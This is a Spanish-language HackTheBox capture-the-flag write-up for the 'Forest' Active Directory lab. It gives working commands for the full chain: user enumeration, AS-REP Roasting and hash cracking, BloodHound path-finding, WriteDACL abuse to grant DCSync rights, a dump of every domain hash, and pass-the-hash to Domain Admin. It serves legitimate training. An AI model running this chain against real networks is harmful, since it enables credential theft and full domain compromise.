Info de la Box
| Plataforma | HackTheBox |
| Dificultad | Easy |
| OS | Windows Server 2016 |
| Técnicas Clave | AS-REP Roasting, BloodHound, WriteDACL Abuse, DCSync |
Resumen del Ataque
SMB null session → enumeramos 31 usuarios → AS-REP Roasting a svc-alfresco (sin creds) → crackeamos hash → BloodHound mostró ruta a través de Account Operators → Exchange Windows Permissions → WriteDACL sobre el dominio → nos dimos derechos de DCSync → dumpeamos todos los hashes → Pass-the-Hash → Domain Admin.
Segunda box de AD. Primera vez usando AS-REP Roasting, rutas de ataque en BloodHound, ACL abuse, y DCSync.
Enumeración
echo "10.129.95.210 forest.htb.local htb.local forest" | sudo tee -a /etc/hosts
# Lección: Agregar FQDN, dominio, y hostname — diferentes herramientas usan diferentes nombres
SMB — Enumeración de Usuarios
nxc smb $ip -u '' -p '' --users
# Encontramos 31 usuarios. Usuarios clave: sebastien, lucinda, svc-alfresco, andy, mark, santi
# Guardamos usuarios reales en valid_users.txt
Foothold — AS-REP Roasting (Sin Creds)
impacket-GetNPUsers htb.local/ -dc-ip $ip -usersfile valid_users.txt -format hashcat -outputfile asrep.txt
# svc-alfresco tiene "Do not require Kerberos pre-authentication" = TRUE
# Obtuvimos hash AS-REP gratis — sin necesidad de credenciales
Cracking
# TIP: Usar comillas simples al guardar hashes — las comillas dobles corrompen los caracteres $!
hashcat -m 18200 -a 0 alfresco.hash /usr/share/wordlists/rockyou.txt
# Crackeado: s3rvice
Primeras creds: svc-alfresco:s3rvice
BloodHound — Encontrando la Ruta de Ataque
bloodhound-python -u 'svc-alfresco' -p 's3rvice' -ns $ip -d htb.local -c All
El pathfinding de BloodHound desde SVC-ALFRESCO → DOMAIN ADMINS mostró:
svc-alfresco → Service Accounts → Privileged IT Accounts → Account Operators
→ GenericAll sobre Exchange Windows Permissions
→ WriteDACL sobre dominio HTB.LOCAL
→ Puede otorgar derechos DCSync → Dumpear todos los hashes
Sin BloodHound NUNCA encontrarías esta ruta manualmente. Son 5 grupos anidados de profundidad. Por eso BloodHound importa.
Escalación de Privilegios — Cadena de ACL Abuse
Paso 1: Agregarse al grupo Exchange Windows Permissions
net rpc group addmem "Exchange Windows Permissions" "svc-alfresco" -U 'htb.local/svc-alfresco%s3rvice' -S $ip
Paso 2: Obtener shell vía evil-winrm
evil-winrm -i $ip -u 'svc-alfresco' -p 's3rvice'
# Funcionalidades de evil-winrm: upload, download, entorno PowerShell completo
Paso 3: Subir PowerView y otorgar derechos DCSync
upload /usr/share/windows-resources/powersploit/Recon/PowerView.ps1
. .\PowerView.ps1
Add-DomainObjectAcl -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity svc-alfresco -Rights DCSync
Paso 4: DCSync — dumpear todos los hashes del dominio
impacket-secretsdump htb.local/svc-alfresco:'s3rvice'@$ip
# Obtuvimos hash NTLM de Administrator
Paso 5: Pass-the-Hash
evil-winrm -i $ip -u 'Administrator' -H '<NTLM_HASH>'
Listo.
Credenciales
| Username | Password/Hash | Origen | Alcance |
|---|---|---|---|
| svc-alfresco | s3rvice | AS-REP Roasting | Domain user |
| Administrator | NTLM hash | DCSync | Domain Admin |
Lo que Aprendí
AS-REP Roasting — svc-alfresco tenía pre-auth deshabilitado. Obtuvimos el hash gratis sin credenciales. Esto debería revisarse antes de hacer brute-force.
BloodHound es innegociable en AD. La ruta a través de 5 grupos anidados hasta WriteDACL es invisible sin él.
Cadena de ACL Abuse: GenericAll sobre un grupo = agregarte. WriteDACL sobre el dominio = darte cualquier permiso. DCSync = dumpear cada hash en el dominio.
evil-winrm es el rey para post-explotación en AD. Subir/descargar archivos, correr scripts de PowerShell directamente. Siempre usarlo cuando el puerto 5985 está abierto.
Corrupción de archivos de hash — al guardar hashes con echo, usar comillas SIMPLES: echo '$hash' > file.txt. Las comillas dobles hacen que bash interprete los caracteres $ y corrompe el hash. Perdí tiempo con esto.
Patrón: “AS-REP Roast primero (sin creds), BloodHound segundo (encontrar la ruta), ACL abuse tercero (caminar la ruta).”